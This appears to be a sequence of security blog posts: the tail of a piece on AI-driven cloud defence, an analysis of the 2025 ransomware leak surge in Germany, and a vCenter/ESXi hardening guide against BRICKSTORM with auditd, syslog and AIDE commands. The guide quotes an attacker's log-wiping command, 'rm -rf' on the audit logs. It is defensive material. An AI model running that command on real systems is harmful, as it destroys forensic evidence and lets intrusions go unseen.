• Wiz: Organizations can maintain continuous asset discovery and dynamic posture management, ensuring they can rapidly identify and reduce their attack surface across complex, multi-cloud environments.Wiz uses AI agents, powered by environmental context, to democratize security, prioritize remediation, and proactively reduce the attack surface. Wiz continuously integrates the latest AI models to streamline vulnerability detection and response, and its Model Context Protocol (MCP) server enables security teams to use Wiz’s deep context and risk analysis in agentic workflows. The foundational strategy of Wiz connects cloud, code, and runtime, and employs three key agents:

• Shift Right (Red Agent): Scans the entire attack surface with an AI-powered attacker, using contextual information (cloud, workload, code analysis) to discover immediately exploitable risks.

• Shift Left (Green Agent): Helps customers identify root causes (cloud-to-code) and automatically deploy fixes using pre-built Wiz skills, and upcoming integrations with CodeMender to self-heal code bases.

• Detect and respond (Blue Agent): Automates the investigation of AI-enabled attacks at the speed of AI, allowing SOC teams to rapidly triage suspicious behavior and utilize runtime protection tools to detect exploitation.

• Google Cloud Model Armor: To secure the AI agents organizations deploy, Google Cloud Model Armor acts as a specialized LLM firewall, proactively screening inputs and outputs to block prompt injections and sensitive data leaks. 

Outlook and Implications

The cybersecurity community has the opportunity to serve as the voice of reason: the best response is proactive, disciplined preparation, not panic. While access to the publicly known, most capable frontier models is currently restricted to responsible actors, the availability of these technologies to a broader audience is inevitable. For defenders, this signals a surge in vulnerability management demands. The traditional window between a vulnerability’s disclosure and its active exploitation in the wild has already largely vanished; the primary concern now is the sheer number of exploits organizations will have to defend against simultaneously. Furthermore, the traditional concept of severity is shifting. In a landscape where AI agents can chain together multiple low-level vulnerabilities, the practical impact difference between a remote code execution (RCE) flaw and a seemingly benign local-only exploit is rapidly disappearing. 

To build on the foundational steps above, organizations can work with Mandiant to plan, prioritize, and implement an AI-enabled cyber defense strategy. AI gives security teams powerful new ways to understand their environments, automate remediation at scale, and strengthen workforce capabilities. By adopting AI-integrated defenses today, organizations can better prepare for the speed, scale, and sophistication of tomorrow’s adversaries.

Acknowledgement

This post wouldn't have been possible without numerous experts across Mandiant and GTIG. We specifically would like to thank Omar ElAhdan, Chris Linklater, Austin Larsen, Jared Semrau, Dan Nutting, John Hultquist, and Kimberly Goody for their contributions to this blog post.

Written by: Jamie Collier, Robin Grunewald

Germany has reclaimed its position as a primary focus for cyber extortion in Europe. While data leak site (DLS) posts rose almost 50% globally in 2025, Google Threat Intelligence (GTI) data shows that the surge is hitting German infrastructure harder and faster than its regional neighbors, marking a significant return to the high-pressure levels previously observed in the country during 2022 and 2023.

Cyber Criminals Pivoting Back to Germany

Germany moved to the forefront of European data leak targets in 2025. Following a 2024 period where the UK led in DLS victims, this pivot reflects a resurgence of the intense pressure observed across German infrastructure during 2022 and 2023.

This targeting is not a result of the overall number of companies within Europe, as Germany has fewer active enterprises than France or Italy. Instead, its sustained appeal to extortion groups is driven by its status as an advanced European economy with an increasingly digitized industrial base.

The speed of this escalation is particularly notable. Following a relative cooling of activity in 2024, Germany saw a 92% growth in leaks in 2025—a growth rate that tripled the European average.

While several factors influenced European ransomware trends in 2025, a striking contrast emerged in leak volumes. While shaming-site postings for UK-based organizations cooled, non-English speaking nations (particularly Germany) witnessed a surge. This shift reflects a convergence of several factors. The continued maturation of the cyber criminal ecosystem, including the use of AI to automate high-quality localization, is further eroding the historical protection offered by language barriers. However, this "linguistic pivot" is also supported by a shift in victim profiles. As larger "big game" targets in North America and the UK improve their security posture or utilize cyber insurance to resolve incidents privately, threat actors appear to be pivoting toward the "ripe markets" of the German Mittelstand (discussed in further detail later in this post). 

Google Threat Intelligence Group (GTIG) has also observed multiple cyber criminal groups post advertisements, seeking access to German companies and offering a proportion of any extortion fees obtained from victims. For example, dating back to November 2024, the threat actor known as Sarcoma has targeted businesses across several highly developed nations, including Germany.

While the 2025 data marks a record year for German leak volume, it is important to contextualize these figures with a degree of caution. Relying solely on DLS numbers can be misleading, as threat actors typically only post victims who refuse to initiate or complete extortion negotiations. Public reporting on the decline in ransom payment rates may be partially fueling the steady increase in shaming site posts as a secondary pressure tactic. Consequently, while the surge in Germany remains a critical trend, these metrics should be viewed as one component of a broader, more complex threat landscape.

The Diversifizierung of the Cyber Criminal Ecosystem 

2025 was characterized by significant turbulence in the cyber criminal ecosystem, driven by internal conflicts and aggressive law enforcement actions against dominant "big game" operations like LOCKBIT and ALPHV. The resulting vacuum at the top of the ransomware market has led to a more crowded field of agile, mid-tier DLS brands. In Germany, this rebalancing is highly visible: as established brands receded, a wider pool of competitors emerged to absorb the market share.

Following the disruption of LockBit, groups such as SAFEPAY and Qilin have gained significant prominence within the German landscape. SAFEPAY, in particular, claimed breaches of 76 German companies in 2025—accounting for 25% of all German victim posts that year. Meanwhile, Qilin tripled its operational tempo in Germany during Q3 2025. While this increase aligns with Qilin's broader global uptick in activity, their consistent focus on German targets (including 13 victims posted already in early 2026) demonstrates that their presence in the German landscape grows in lockstep with their global expansion.

No Such Thing as Too Small: Targeting of the Mittelstand 

There is a persistent myth that small businesses are "too small" to be targeted, a perception often fueled by the fact that large global corporations often dominate cyber crime headlines. However, the 2025 data tells a different story: organizations with fewer than 5,000 employees accounted for 96% of all ransomware leaks in Germany. While this figure largely aligns with the structural composition of the German economy, it underscores a concerning disconnect between public perception and actual targeting patterns. While "big game" hits make the news, the high volume of leaks among medium- and small-sized victims proves they are highly attractive targets for cyber criminals—often because they lack the extensive security personnel and specialized resources of their larger counterparts.

The targeting of the Mittelstand creates a significant secondary risk for large German enterprises and multinationals. While a major corporation may have robust defenses, its broader ecosystem of suppliers and contractors often manages sensitive data or maintains privileged network access. To address these systemic gaps, large enterprises must evolve from passive monitoring to a proactive third-party risk management framework, implementing vendor tiering and enforcing multifactor authentication to neutralize the lateral movement favored by modern cyber criminals.

Targeting Beyond the Assembly Line

Germany's industrial base remains the primary focus for cyber criminals with manufacturing accounting for 23% of all dark web leaks in 2025. However, the German cyber criminal landscape is characterized by its variety, with legal & professional services (14%), construction & engineering (11%), and retail (10%) all targeted.

The most notable shift in the 2025 data is the growth within the legal & professional services sector. This increase is likely intentional: these firms represent high-value targets because they serve as trusted custodians of sensitive client data, including intellectual property, financial strategies, and M&A plans. This allows cyber criminals to extract significant extortion payments beyond their primary victim and gain downstream leverage over an entire client base.

Outlook  

The data from 2025 reveals that the recent surge in German leaks is not an isolated incident, but a return to the high-pressure levels previously observed in 2022 and 2023. This resurgence reflects a more volatile and linguistically diverse European threat landscape going into 2026. The 92% growth in German leaks, tripling the European average for 2025, proves that non-English-speaking nations remain a primary target for global extortion groups. 

The disruption of established brands like LockBit has rebalanced the ecosystem into a crowded field of agile data leak sites, such as SafePay and Qilin. These groups appear to be hitting Germany in lockstep with their global expansion, identifying the Mittelstand and German professional services as high-volume, target-rich environments. As threat actors continue to exploit complex supply chains, smaller organizations will remain critical pivot points for those aiming at the top of the industrial stack.

Recommendations to assist in addressing the threat posed by ransomware are captured in our white paper, Ransomware Protection and Containment Strategies: Practical Guidance for Endpoint Protection, Hardening, and Containment.

Written by: Stuart Carrera

Introduction 

Building on recent BRICKSTORM research from Google Threat Intelligence Group (GTIG), this post explores the evolving threats facing virtualized environments. These operations directly target the VMware vSphere ecosystem, specifically the vCenter Server Appliance (VCSA) and ESXi hypervisors. To help organizations stay ahead of these risks, we will focus on the essential hardening strategies and mitigating controls necessary to secure these critical assets.

By establishing persistence at the virtualization layer, threat actors operate beneath the guest operating system where traditional security protections are ineffective. This strategy takes advantage of a significant visibility gap, as these control planes do not support standard endpoint detection and response (EDR) agents and have historically received less security focus than traditional endpoints.

This activity is not the result of a security vulnerability in vendors' products or infrastructure. Instead, these intrusions rely on the effectiveness of exploiting weak security architecture and identity design, a lack of host-based configuration enforcement, and limited visibility within the virtualization layer. By operating within these unmonitored areas, attackers can establish long-term persistence and gain administrative control over the entire vSphere environment.

This guide provides a framework for an infrastructure-centric defense. To help automate some of this guidance and secure the control plane against threats like BRICKSTORM, Mandiant released a vCenter Hardening Script that enforces these security configurations directly at the Photon Linux layer. By implementing these recommendations, organizations can transform the virtualization layer into a hardened environment capable of detecting and blocking persistent threats.

vCenter Server Appliance Risk Analysis

The vCenter Server Appliance (VCSA) is the central point of control and trust for the vSphere infrastructure. Running on a specialized Photon Linux operating system, the VCSA typically hosts critical Tier-0 workloads, such as domain controllers and privileged access management (PAM) solutions. This means the underlying virtualization platform inherits the same classification and risk profile as the highly sensitive assets it supports.

A compromise of the vCenter control plane grants an attacker administrative control over every managed ESXi host and virtual machine, effectively rendering traditional organizational tiering irrelevant. Because the VCSA is a purpose-built appliance, relying on out-of-the-box defaults is often insufficient; achieving a Tier-0 security standard requires intentional, custom security configurations at both the vSphere and the underlying Photon Linux layers. 

For a threat actor, the VCSA provides:

• Centralized Command: This provides the ability to power off, delete, or reconfigure any virtual machine combined with the ability to reset root credentials on any managed ESXi host providing full control of the hypervisor.

• Total Data Access: Access to the underlying storage (VMDKs) of every application, bypassing operating system permissions and traditional file system security. This provides a direct path for data exfiltration of Tier-0 assets.

• Command-Line Logging Gaps: If an attacker gains access to the underlying Photon OS shell via Secure Shell (SSH), there is no remote logging of the shell commands.

Management Plane Dependencies

Many organizations host their Active Directory domain controllers as virtual machines (VMs) within the same vSphere cluster managed by a vCenter that is itself AD-integrated. If an attacker disables the virtual network or encrypts the datastores, vCenter loses its ability to authenticate administrators. In a scenario where the VCSA is encrypted or wiped, the tools required for large-scale recovery are also lost. This forces organizations to rely on manual restores via individual ESXi hosts, extending the recovery timeline exponentially.

vSphere 7 End of Life

vSphere 7 reached End of Life (EoL) in October 2025. Organizations with this legacy technical debt will have vSphere software entering a window (until upgrade) where they will no longer receive critical security patches. This provides an opportunity for threat actors to exploit known vulnerabilities that will not be fixed.

The Strategic Advantage of Proactive Measures

To secure the control plane, organizations should adopt a strategy where the infrastructure itself acts as the primary line of defense. 

A resilient defense relies on two strategies:

• Technical Hardening: Defense-in-depth should be applied to the hypervisor layer to reduce the attack surface. Threat actors target insecure defaults. Hardening measures, such as enabling Secure Boot, strictly firewalling management interfaces, and disabling shell access, create “friction.” When a threat actor attempts to write a persistence script to /etc/rc.local.d or modify a startup file, a hardened configuration can block the action or force the actor to use methods that generate excessive log telemetry.

• High-Fidelity Signal Analysis: Threat actors are adept at rotating infrastructure and recompiling tools to change their signatures. Relying on a blocklist of bad IPs or a database of known malware hashes is not an effective strategy as threat actors utilize command-and-control servers and native binaries. Instead, the focus should shift entirely to behavioral patterns.

Building on this strategic foundation where the infrastructure itself acts as the primary line of defense, this guide outlines four phases of technical enforcement:

• Phase 1: Benchmarking and Base Controls – Establishing the foundation with Security Technical Implementation Guides (STIG) and patching.

• Phase 2: Identity Management – Hardening administrative access to critical infrastructure via PAWs and PAM solutions. 

• Phase 3: vSphere Network Hardening – Eliminating lateral movement with Zero Trust networking. 

• Phase 4: Logging and Forensic Visibility – Transforming the appliance into a proactive security sensor.

Phase 1: Benchmarking and Base Controls

Organizations should use the hardening measures outlined in the Mandiant vSphere hardening blog post combined with a strict patching and upgrade strategy. This provides a standard foundation to develop a strong security posture. By implementing an enhanced security baseline centered on the Photon Linux DISA STIG and VMware security hardening guides, organizations can harden the OS-level components that actors target.

Key Frameworks:

• VMware vSphere 7.0 VCSA Photon OS STIG

• VMware vSphere 8.0 VCSA Photon OS STIG

• VMware vSphere Security Hardening Guides

• VMware BRICKSTORM Resources and Defense

STIG Control Mappings to Attacker TTPs

vSphere Infrastructure-Level Data Exfiltration

Standard vSphere configurations typically mask high-risk permissions such as VM cloning and exporting within generalized administrative roles, allowing these actions to blend into the background noise of routine operations. This architecture provides a threat actor with the means to execute a silent exfiltration of a domain controller or credential repository. Organizations should transition from a model of permissive vSphere access control to a comprehensive cryptographic enforcement policy.

Resilience against vSphere data exfiltration requires a shift in how high-value virtual assets are governed:

• Mandatory Tier-0 Encryption: The enforcement of vSphere-native VM encryption is the primary and most essential control for all critical Tier-0 virtual machines. Organizations should mandate that every domain controller, certificate authority, and password vault be encrypted at the virtual machine level. 

• Cryptographic Isolation: Tier-0 assets should be subject to a unique key-locked encryption policy. By mandating a separate key management server (KMS) cluster for these workloads, organizations ensure that a threat actor cannot unlock a cloned disk without access to a secure, hardware-backed vault.

• Entitlement De-coupling: The "Clone" and "Export" privileges should be stripped from standard administrative roles. These functions should be reassigned to a highly restricted, auditable "break-glass" identity, used exclusively for emergency recovery scenarios.

Phase 2: Identity Management 

Best practices for Identity management in vSphere focuses on mandating all vSphere administrative sessions originate from dedicated privileged access workstations and utilize a PAM while also enforcing host-level hardening through the restriction of the vpxuser shell access.

Privileged Access Workstations (PAWs)

To prevent a threat actor from pivoting to the virtualization management plane from compromised user endpoints or appliances, administrative sessions should originate from a dedicated PAW. This is a dedicated hardened workstation only utilized when interfacing with vSphere administrative functions or interfaces.

Privileged Access Management (PAM)

PAM tools serve as an intermediary to mitigate specific threats such as the BRICKSTEAL credential harvester. By mandating credential injection, organizations ensure that passwords are never typed or exposed in memory on the target system where malware could intercept them. Automated secret rotation should be enforced to limit the lifespan of any compromised credentials, particularly for root passwords and service account keys. 

Authentication and Platform Hardening

Accounts residing in the default vsphere.local single sign-on (SSO) domain, most notably the built-in administrator@vsphere.local superuser, pose a specific security risk because they do not support modern MFA integration. Due to this limitation, organizations should limit the use of vsphere.local accounts for daily administration; instead, they should be treated as emergency "break-glass" credentials that are secured with complex, vaulted passwords. 

The vSphere VPXUSER

The vpxuser is a high-privilege system account provisioned by vCenter on each managed host to facilitate core infrastructure management operations.

A threat actor possessing administrative control over the VCSA effectively inherits the delegated authority of the vpxuser across the entire managed cluster. This entitlement enables a pivot from the management plane to the host-level shell.

The Primary Mitigation (vSphere ESXi 8.0+): Disabling Shell Access

To mitigate this lateral movement vector, vSphere 8.0 introduced a technical control allowing administrators to remove shell access from the vpxuser account. Enforce the following configuration on all ESXi 8.0+ hosts to restrict the vpxuser identity:

esxcli system account set -i vpxuser -s false

ESXi Host Identity Hardening Strategy

Additional hardening measures to prevent bypasses via alternative mechanisms, such as Host Profile manipulation, include:

Phase 3: vSphere Network Hardening

Securing the Virtualization Network

Establishing a vSphere Zero Trust network posture is the foundational requirement for securing a resilient Tier-0 architecture. Because the vCenter Server Appliance (VCSA) and ESXi hypervisors lack native MFA support for local privileged accounts, identity-based validation is insufficient as a singular point of security enforcement. Once a threat actor harvests these credentials, the logical network architecture remains the only defensive layer capable of preventing the threat actor's access to the vSphere management plane.

The architectural blueprint shown in Figure 2 is designed to eliminate these common internal attack vectors.

1. Immutable Virtual Local Area Network (VLAN) Segmentation

Organizations should enforce isolation through distinct 802.1Q VLAN IDs. Threat actors will exploit "flat" or poorly partitioned networks where a compromise in a low-security/low-trust zone (such as a demilitarized zone [DMZ] or edge appliance) can route directly to the Management VAMI (Port 5480) or shell access to the VCSA (Port 22) high-trust network segments.

2. Routing as a Security Barrier

The objective is to transform the Management Network into a secured zone. A threat actor residing on a standard corporate subnet or Wi-Fi network should be physically unable to communicate with the VCSA.

A. Virtual Routing and Forwarding (VRF) Segmentation

• Action: Transition all Infrastructure VLANs into a dedicated VRF instance on the core routing layer.

• Strategic Impact: This creates a defined routing table. Even in the event of a total compromise in the "User" or "Guest" VRF, the network hardware will have no route to the "Management" VRF, preventing lateral movement even if physical adjacency exists.

B. Privileged Admin Workstation (PAW Exclusive Access)

• Action: Deconstruct all direct routes from the general corporate LAN to the Management Subnet(s).

• Strategic Impact: Access to the Management Subnet should originate from a designated PAW IP range / subnet. All other internal subnets including standard user workstations, and guest VMs should have no route or be subject to an explicit Deny policy at the gateway. This forces the threat actor to attempt a compromise of the PAW, a significantly more hardened and monitored target, before they can connect to the VCSA.

3. Hardened Perimeter Ingress and Egress Filtering

These rules should be enforced at the hardware firewall or Layer 3 Core acting as the gateway for the Management Subnet. Because the VCSA's GUI-based native firewall is architecturally incapable of enforcing egress (outbound) policy, the upstream network gateway should enforce this policy. Organizations should implement a restrictive egress policy to ensure that if a VCSA is compromised, it cannot connect to malicious command-and-control infrastructure or exfiltrate Tier-0 data.

A. Ingress Filtering (Incoming to Management)

B. Egress Filtering (Outbound from VCSA/Management)

Note on Micro-Segmentation: While physical firewalls secure the management plane (North-South), VMware NSX Distributed Firewall (DFW) is the required standard for controlling guest-to-guest (East-West) traffic. Where applicable, NSX should be used to protect the data plane, while physical network hardware remains the control of the management plane.

Host-Based Firewalls for VCSA and ESXi

Host-based firewalls should be used in tandem with network-based firewalls to achieve a resilient defense-in-depth posture. While network firewalls effectively manage "North-South" traffic (entering/leaving the subnet), they are blind to "East-West" traffic within the same VLAN. Host-based firewalls are capable of blocking an attacker sitting on the same network segment. By enforcing security at the individual endpoint, organizations can ensure that the access path does not grant logical authority over the vSphere control plane.

The VCSA Host-Based Firewall (Photon OS)

Managed via the Virtual Appliance Management Interface (VAMI), the VCSA firewall is a native control to prevent lateral movement from compromised "trusted" entities such as backup servers or monitoring devices that share the management VLAN. The firewall should be used as a primary layer of defense to enforce the "principle of least privilege" at the host network level.

Strategic Implementation: The default policy should be transitioned to "Default Deny." You should explicitly define authorized IP addresses for every management service.

Recommended VCSA Host-Based Firewall Scoping

Limitations of the VAMI GUI Firewall

While the host-based firewall in the VCSA is a mandatory component of a defense-in-depth strategy, administrators should recognize that the standard VAMI GUI has the following operational limitations for defending against threat actors:

• Lack of Port-Specific Granularity:The VAMI GUI lacks the precision required for a True Zero Trust model. In all versions, creating an IP-based rule for a specific server (e.g., a virtual backup server) forces an "all-or-nothing" approach. To grant that server legitimate access to the vSphere API on TCP 443, the administrator is often forced to trust that IP for all ports.
  
  The Risk: This simultaneously grants the backup server unauthorized access to highly sensitive management interfaces like SSH (22) and the VAMI (5480). If an attacker compromises the backup server, they inherit an unobstructed management path to the VCSA shell. 

• Circular Administrative Dependency:A fundamental weakness of the native vCenter host-based firewall is its logical placement within the management plane it is intended to secure. The firewall is managed via the VAMI, which represents a secondary management entry point residing on TCP port 5480. This interface is logically adjacent to the standard vSphere Client (TCP port 443) and is frequently exposed across the same management network segments.
  
  The Risk: Credentials captured via BRICKSTEAL grant a threat actor authority to reconfigure the appliance itself. By pivoting to the VAMI, the actor can use their compromised role to deactivate the firewall. This circular dependency ensures the firewall is managed by the very application it is intended to protect, allowing a threat actor to disable controls using the system's own management tools.

• Forensic Visibility Gaps:The standard VAMI firewall is designed for connectivity management, not security monitoring. It does not generate remote logs for denied connection attempts or specific shell activity.
  
  The Risk: This blinds security teams to active lateral movement. A threat actor can scan the VCSA from an unauthorized VM multiple times or use a VCSA shell unmonitored; because the firewall does not notify when it blocks a connection and shell commands are not logged, the SOC remains unaware of the intrusion attempt until the final stage of the attack.

• Inbound-Only Policy Visibility Gaps:The GUI focuses primarily only on inbound traffic, leaving the Outbound (Egress) policy unmanaged.
  
  The Risk: Modern malware, such as the BRICKSTORM backdoor, relies on outbound "Phone Home" (C2) traffic to receive commands. A firewall that does not restrict outbound traffic allows a compromised VCSA to communicate with external malicious infrastructure without restriction.

To overcome these limitations of the native VAMI firewall, organizations are recommended to consider the transition from native vSphere GUI-based management to OS-level hardening using the underlying Photon Linux iptables or nftables.

• Tamper-Proof Integrity: By implementing granular firewall rules directly at the Photon Linux operating system level, the controls become independent of vCenter application permissions. Even a compromised vCenter Administrator cannot disable Photon OS-level rules via the VCSA GUI.

• Granular Logic: OS-level rules allow for strict "Source IP + Destination Port" mapping, ensuring a backup server only sees port 443 and is rejected on all others.

• Transformation into a Sensor: Unlike the VCSA GUI, Photon OS-level logging can be "bridged" to a security information and event management (SIEM) which transforms every denied connection attempt into a high-fidelity, early-warning alert.

The VAMI GUI firewall should be viewed as a basic security control, not a comprehensive Tier-0 security control. To effectively mitigate the attack vectors required for advanced campaigns, organizations should bypass the vulnerable GUI and enforce a strictly validated, granular, and logged firewall policy at the VCSA Photon Linux kernel level.

aside_block

<ListValue: [StructValue([('title', 'vCenter Hardening Script'), ('body', <wagtail.rich_text.RichText object at 0x7faac0afef10>), ('btn_text', 'Get the tool!'), ('href', 'https://github.com/mandiant/vcsa-hardening-tool'), ('image', None)])]>

The ESXi Hypervisor Firewall

The ESXi firewall is a stateful packet filter sitting between the VMkernel and the network. Restricting individual services to authorized management IPs is the only way to block an attacker on the same VLAN from reaching the host API or SSH port.

Strategic Implementation: Access should be restricted at the service level by deselecting "Allow connections from any IP address" and entering specific management IPs.

Recommended ESXi Host-Based Firewall Rules

Hardening as a Detection Enabler 

When the infrastructure is configured with a "Default Deny" posture, it creates the friction necessary to expose a threat actor. In an unhardened environment, an attacker's port scan or lateral movement attempt is silent and successful; in a hardened environment, those same actions become indicators of compromise.

The Multi-Layered Signal Chain

• Network-Level Visibility: Detection begins at the transit layer. Organizations should ensure that logging is enabled at the physical network and virtual switch (VDS) levels. This allows the SOC to track the "path" of a threat actor, identifying unauthorized scanning or connection attempts as they traverse subnets toward the vSphere management plane.

• Host-Based Firewall Logging (IPtables): While the VCSA provides a management GUI for its firewall, it does not natively log denied access. To transform the appliance into a sensor, host-based firewall logging is strictly dependent on a custom OS-level IPtables configuration. By adding a logging target to the underlying Photon OS kernel, every rejected packet is recorded, providing the proof that an unauthorized threat actor is attempting to access the VCSA.

• Immutable Logging: By enabling Remote Syslog Forwarding, these rejection logs are offloaded instantly. Even if an attacker eventually compromises the host, they cannot delete the local log sources.

Early Detection Signals

By correlating the denied access with identity-based events, organizations can identify a pattern of a BRICKSTORM lifecycle event in its earliest stages:

• Failed Authentication Alerts: A log entry in the standard auth.log (for SSH) or a vCenter UserLoginSessionEvent showing a "Failed Login Attempt" from an unauthorized internal IP is a high-value alert.

• Account Lockout Events: When an actor attempts to brute-force or use harvested credentials against local "break-glass" accounts (like administrator@vsphere.local), the resulting "Account Locked" event provides a high-priority signal that a targeted credential attack is in progress.

• Behavioral Pattern Correlation: The most powerful signal occurs when the SIEM correlates these disparate sources. For example, a Firewall Drop (via IPtables) followed immediately by a Failed Login (via SSO) from the same source IP is a high-confidence indicator of an active intrusion attempt.

Network segmentation at the switch level is a prerequisite, but host-based firewalls are the primary enforcement point of a vSphere Zero Trust architecture. By complementing network-based firewalls with host-level filtering, organizations can eliminate the visibility gap on the management VLAN and transform the VCSA and ESXi hosts into sensors capable of exposing an adversary at the earliest stage of an intrusion.

Phase 4: Logging and Forensic Visibility

To facilitate the detection within the vSphere control plane, organizations should achieve comprehensive telemetry across the previously unmonitored layers of the underlying VCSA operating system.

The primary operational advantage exploited in this campaign is the lack of visibility inherent in the virtualization control plane. This monitoring visibility gap is driven by three critical factors:

• The Logging Gap: By default, VCSA does not forward kernel-level audit logs. If an attacker wipes the local disk, the evidence of their residency is permanently erased.

• The Restricted Logging Pipeline: Standard modern log forwarding agents such as Fluentd or Logstash are not supported for installation on the VCSA. To maintain appliance integrity, defenders are restricted to using the native rsyslog daemon. This prevents on-host log enrichment or advanced parsing, forcing the SIEM to process raw, legacy data streams. This technical complexity often leads to critical kernel-level signals being misclassified or ignored.

• Operational Telemetry Fragmentation: Security indicators are frequently buried within standard cluster and application level events. As detailed in the vCenter Event Mapping, critical actions like VmNetworkAdapterAddedEvent or VmClonedEvent are logged as routine infrastructure management tasks. Because these signals are operational rather than security-focused, a threat actor's movements are easily disguised as routine tasks.

What is auditd?

The Linux Audit Daemon (auditd) is the kernel's primary subsystem for tracking security-relevant events. Unlike standard "system logs" (which record application and management events), auditd records system calls. It sees exactly what commands were executed in the shell, which files were modified, and which users escalated privileges. The default Photon auditd rules cover Identity (useradd/del) and privilege escalation (sudo/privileged).

auditd Status: Verifying the Current Defensive Posture

auditd is the core forensic foundation for detecting low-level movements. While VCSA Photon logs provide visibility into management tasks, they are fundamentally blind to the "living-off-the-land" (LotL) techniques that define this campaign. This threat actor operates deep within the VCSA shell to execute binary injections, modify startup scripts using sed, and utilize sudo to fuel the BRICKSTEAL credential harvester. Only auditd, by recording the underlying system calls (syscalls), provides a granular record of these command-line maneuvers. In an environment where traditional EDR is absent, auditd captures the minute behavioral patterns that standard logs ignore.

The Default Configuration Gap

Modern VCSAs (vSphere 7 and 8) ship with a pre-configured set of STIG rules (located in /etc/audit/rules.d/audit.STIG.rules). However, there is a restriction in the default configuration:

• Local Only: By default, auditd writes to a local file (/var/log/audit/audit.log).

• Invisible to VAMI: The remote logging you configure in the VAMI (Port 5480) does not include these kernel logs by default.

• The Attack Vector: Actors can gain root access, perform their actions, and simply run rm -rf /var/log/audit/* to delete the evidence. Unless these logs are streamed to your SIEM in real time, your forensic trail is non-existent.

• Local Log Rotation: Since the local log location is /var/log/audit/audit.log, it is subject to rotation and deletion. If an attacker wipes this file, the remote syslog version is your only forensic record.

All auditd logs should be forwarded via the VCSA remote syslog. Remote forwarding of auditd is dependent on a "auditd bridge" configuration. If /etc/audisp/plugins.d/syslog.conf is set to active = yes, these logs will be tagged and forwarded. If set to no, they are stored locally only. To enable remote logging of auditd events and ensure forensic persistence, the following steps should be taken:

Step A: Check Service and Rule Status

Before activating the auditd remote logging bridge, you should determine if your VCSA is currently configured for auditd. Run these commands as root:

# 1. Check if the audit service is active
systemctl status auditd

# 2. List the rules currently enforced by the kernel memory
auditctl -l

If auditctl -l returns nothing, your rules have not been loaded, and the kernel is not "watching" for attacker behavior.

Step B: Check the "auditd Bridge" Status

Verify if kernel events are stored on the local disk or being forwarded to your remote SIEM.

# Check the active status of the syslog plugin
# Note: vSphere 8 still uses the /etc/audisp/ path for compatibility
grep "^active" /etc/audisp/plugins.d/syslog.conf

If this returns active = no, remote logging of auditd is not configured. The logs are sent only to the VCSA local disk where an attacker can easily wipe them.

Mapping Standard STIG Rules to Attacker TTPs

If your auditctl -l output shows the standard rules are now loaded, you have the following rules in place mapped to identified attacker tactics, techniques, and procedures (TTPs). These rules move you from periodic auditing or threat hunting to real-time behavioral detection.

Activating Remote Logging for auditd

Step 1: Enable the Syslog Plugin

The Audit Dispatcher (audisp) should be configured to send events to the local syslog service so they can be forwarded via the VCSA remote syslog.

# Use sed to change the status from 'no' to 'yes'
sed -i 's/^active = no/active = yes/' /etc/audisp/plugins.d/syslog.conf

# Verify the change
grep "^active" /etc/audisp/plugins.d/syslog.conf

Step 2: Restart the Audit Daemon

You should reload the service to initialize the dispatcher and the syslog bridge:

kill -HUP $(pidof auditd)

Step 3: Verify the Bridge Is Operational

Check the local system messages to ensure the plugin has started successfully:

grep "audisp-syslog" /var/log/messages

You should see a message indicating the plugin has initialized or started.

Step 4: Confirm Logs Are Forwarded

journalctl -f | grep audit

You should see events with msg=audit prefix.

Syslog Tag (Key): In your SIEM, you should search for the field msg=audit followed by the key="XYZ" (e.g., key="execpriv"). This allows you to filter out of standard system logs and focus only on high-fidelity security events.

Additional Auditd Rules

Based on a default audit.STIG.rules output contained in the Photon OS 4.0 STIG auditd config, these three rules should be added.

Advanced Intrusion Detection Environment (AIDE)

While auditd provides low-level monitoring, AIDE serves as the source of digital validation for the VCSA. AIDE is a host-based file integrity monitoring (FIM) tool that is considered the industry standard for high-security Linux environments and is a requirement for DISA STIG compliance (PHTN-40-000237).

Note: Mandiant recommends organizations perform comprehensive testing and fine-tuning of these rules within a staging environment before production deployment to account for variations in specific vSphere configurations and operational workloads. Proper calibration of monitoring thresholds and file exclusion lists is essential to achieve an optimal signal-to-noise ratio and ensure high-fidelity alerting of unauthorized modifications.

Why AIDE Is Essential Alongside auditd

Relying on a single telemetry stream is insufficient to counter the sophisticated tactics of BRICKSTORM. By pairing AuditD's behavioral auditing with AIDE's cryptographic integrity checks, organizations establish a mutual defense that reduces an attacker's ability to operate undetected.

• auditd (Behavioral Monitoring): Captures the action (e.g., "Root used sed to modify a script"). If an attacker achieves high-level privileges and "blinds" the audit service or wipes the local logs, the behavioral trail is lost.
• AIDE (State Monitoring): Captures the result. AIDE creates a cryptographic baseline (DNA fingerprint) of every critical system file. It does not care how a file was changed or if the audit logs were wiped; it only cares that the file is no longer authentic.

Using AIDE Alongside auditd

The following steps walk through how to verify the current AIDE integrity foundation, add BRICKSTORM specific detections, and establish an immutable cryptographic baseline.

1: Diagnostic Assessment

Before modifying the environment, you should confirm the AIDE configuration status. Log in to the VCSA via SSH and run these commands as root:

Confirm AIDE is installed and compiled with the required config (WITH_AUDIT and SHA-512).

# Check version and compiled options
aide -v

2. Verify the AIDE Database

AIDE requires that a cryptographic baseline (snapshot) exists. Check the status of the database:

# Resolve the database directory (typically /var/lib/aide)
grep "@@define DBDIR" /etc/aide.conf
# Check for the active database
ls -lh /var/lib/aide/aide.db.gz

If aide.db.gz is missing, you have no baseline. If it exists but the timestamp is months old, your integrity foundation is stale and will produce high-noise alerts during a check.

3. Audit Current AIDE Coverage 

Determine which parent directories are currently being monitored by the default rules:

# Filter for active file selection rules
grep -v "^#" /etc/aide.conf | grep "^/"

4. Editing AIDE Rule Set for BRICKSTORM Coverage 

Open the configuration file.

vi /etc/aide.conf

Append these BRICKSTORM specific rules to the bottom. Use the STIG rule group to ensure SHA-512 enforcement.

# --- BRICKSTORM TARGETS ---
/root/.ssh              STIG    # Detects unauthorized SSH
/lib64                  STIG    # Detects system-level libraries
/etc/aide.conf          STIG    # Detects tampering with AIDE
/etc/audit/             STIG    # Detects attempts to edit config
/etc/audisp/            STIG    # Detects attempts to sever bridge

Append the file for log exclusions to reduce noise [the ! should come before the rules that tell AIDE to watch the parent folders (like /opt or /etc)].

# --- NOISE REDUCTION: EXCLUDE DYNAMIC LOGS ---
!/var/log/.*             # Ignore all standard logs
!/opt/vmware/var/log/.*  # Ignore vCenter-specific service logs
!/var/lib/.*             # Ignore dynamic database/state files

Note: Remove all # from append statements.

5. Initializing the AIDE Database

Once the rules are defined, you should generate a new cryptographic snapshot. This should only be performed when the VCSA is verified clean (e.g., immediately after patching).

# 1. Initialize the new fingerprint database
aide --init

# 2. Activate the database
mv /var/lib/aide/aide.db.new.gz /var/lib/aide/aide.db.gz

